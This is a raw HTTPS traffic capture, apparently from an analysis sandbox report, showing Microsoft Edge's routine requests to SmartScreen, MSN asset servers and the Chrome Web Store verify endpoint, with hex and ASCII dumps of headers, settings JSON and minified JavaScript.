2024-11-21 21:09:39 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiaVNaUXRIczFGQWN5dTViRXJwdG1TUT09IiwgImhhc2giOiI0clV2Wk8vWEJsYz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 21:09:39 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 21:09:39 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:39 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-21 21:09:39 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49814	23.44.203.19	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:39 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:39 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Thu, 21 Nov 2024 21:09:39 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.195.36.246,b=647921010,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.195.36.246 Akamai-Request-ID: 269e7d72 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.f624c317.1732223379.269e7d72 Vary: Origin
2024-11-21 21:09:39 UTC	15145	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-21 21:09:39 UTC	9443	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 Data Ascii: ion(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice(
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-21 21:09:39 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-21 21:09:39 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-21 21:09:39 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-21 21:09:39 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-21 21:09:39 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49813	142.250.65.202	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:39 UTC	448	OUT	POST /chromewebstore/v1.1/items/verify HTTP/1.1 Host: www.googleapis.com Connection: keep-alive Content-Length: 119 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 21:09:39 UTC	119	OUT	Data Raw: 7b 22 68 61 73 68 22 3a 22 45 70 44 59 46 37 73 55 68 68 4f 41 33 56 73 70 30 30 34 5a 43 6f 7a 46 54 6d 55 55 74 56 48 43 54 74 54 38 78 7a 34 52 70 6e 34 3d 22 2c 22 69 64 73 22 3a 5b 22 67 68 62 6d 6e 6e 6a 6f 6f 65 6b 70 6d 6f 65 63 6e 6e 6e 69 6c 6e 6e 62 64 6c 6f 6c 68 6b 68 69 22 5d 2c 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 31 7d Data Ascii: {"hash":"EpDYF7sUhhOA3Vsp004ZCozFTmUUtVHCTtT8xz4Rpn4=","ids":["ghbmnnjooekpmoecnnnilnnbdlolhkhi"],"protocol_version":1}
2024-11-21 21:09:39 UTC	341	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Vary: Origin Vary: X-Origin Vary: Referer Date: Thu, 21 Nov 2024 21:09:39 GMT Server: ESF Content-Length: 483 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-21 21:09:39 UTC	483	IN	Data Raw: 7b 0a 20 20 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 20 31 2c 0a 20 20 22 73 69 67 6e 61 74 75 72 65 22 3a 20 22 5a 38 47 49 77 35 67 63 68 75 30 41 6a 53 74 7a 47 56 6b 31 4d 52 57 79 5a 70 69 73 66 66 61 68 64 4d 70 4e 55 67 78 47 35 6e 73 4b 4c 78 50 70 51 52 2b 6c 6f 57 46 75 46 56 56 34 30 41 75 4a 69 2f 6f 56 74 4b 34 6d 45 39 4a 77 79 45 66 56 57 32 63 37 2f 35 74 73 34 7a 64 73 4d 74 6d 6d 67 39 75 67 79 34 41 31 4c 4b 59 6e 74 64 6d 75 53 72 6a 67 36 31 71 74 47 64 6a 58 52 34 5a 6e 54 49 48 56 57 6b 73 67 4f 64 68 43 57 4a 52 68 48 59 71 79 6a 76 34 4f 4d 4b 5a 70 71 36 7a 33 33 56 45 6a 61 46 4d 2f 66 42 4c 4c 38 62 5a 71 75 54 48 45 6e 72 72 49 49 56 79 56 6b 50 33 2b 6c 76 31 4e 76 4b 6d 55 2f 4e 4e 4b 73 42 4b 66 73 5a 4d 69 Data Ascii: { "protocol_version": 1, "signature": "Z8GIw5gchu0AjStzGVk1MRWyZpisffahdMpNUgxG5nsKLxPpQR+loWFuFVV40AuJi/oVtK4mE9JwyEfVW2c7/5ts4zdsMtmmg9ugy4A1LKYntdmuSrjg61qtGdjXR4ZnTIHVWksgOdhCWJRhHYqyjv4OMKZpq6z33VEjaFM/fBLL8bZquTHEnrrIIVyVkP3+lv1NvKmU/NNKsBKfsZMi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49816	20.25.227.174	443	8304	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:09:40 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiaVNaUXRIczFGQWN5dTViRXJwdG1TUT09IiwgImhhc2giOiI0clV2Wk8vWEJsYz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 21:09:40 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 21:09:41 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:09:40 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-21 21:09:41 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-21 21:09:41 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
